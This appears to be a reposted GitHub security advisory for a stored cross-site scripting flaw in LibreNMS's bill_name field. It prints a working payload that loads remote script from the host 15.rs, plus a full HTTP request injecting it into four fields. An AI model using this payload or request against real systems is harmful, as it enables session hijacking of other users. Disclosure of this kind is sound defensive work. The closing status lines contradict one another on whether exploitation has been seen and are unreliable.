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GHSA-888j-pjqh-fx58
No affected components available
Summary
A Stored Cross-Site Scripting (XSS) vulnerability in the "Manage User Access" page allows authenticated users to inject arbitrary JavaScript through the "bill_name" parameter when creating a new bill. This vulnerability can lead to the execution of malicious code when visiting the "Bill Access" dropdown in the user's "Manage Access" page, potentially compromising user sessions and allowing unauthorized actions.
Details
When creating a new bill, an attacker can inject the following XSS payload into the "bill_name" parameter:
test1'"><script/src=//15.rs>
Note: The payload uses the "15.rs" domain to bypass some of the length restrictions found during research by pointing to a malicious remote file. The file contains a POC XSS payload, and can contain any arbitrary JS code.
The payload triggers in the "Bill Access" dropdown when the user's "Manage Access" page is visited. The sink responsible for this issue is: https://github.com/librenms/librenms/blob/7f2ae971c4a565b0d7345fa78b4211409f96800a/includes/html/pages/edituser.inc.php#L309
PoC
- Create a new bill using the following payload in the "bill_name" parameter:
test1'"><script/src=//15.rs> - Save the bill.
- Navigate to the "Manage Access" page for the user.
- Observe that the injected script executes in the "Bill Access" dropdown.
Example Request:
POST /bill/bill_id=2/view=edit/ HTTP/1.1
Host: <your_host>
Content-Type: application/x-www-form-urlencoded
Cookie: <your_cookie>
_token=<your_token>&action=update_bill&bill_name=test1%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_type=cdr&bill_cdr=&bill_cdr_type=Kbps&dir_95th=in&bill_quota=&bill_quota_type=MB&bill_day=1&bill_custid=test2%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_ref=test3%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&bill_notes=test4%27%22%3E%3Cscript%2Fsrc%3D%2F%2F15.rs%3E&Submit=Save
Impact
This vulnerability allows authenticated users to execute arbitrary JavaScript in the context of other users' sessions when they visit the "Manage Access" page. The attacker can perform unauthorized actions or compromise user accounts by exploiting this vulnerability.
The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs high-level or administrative privileges. The attacker needs the user to perform some action, like clicking a link. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a low impact on the integrity of the data. There is a low impact on the availability of the system.
Exploitation attempts have been detected. Elevated vigilance and prompt remediation are advised.
The exploit probability is very low. The vulnerability is unlikely to be exploited in the next 30 days.
We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.
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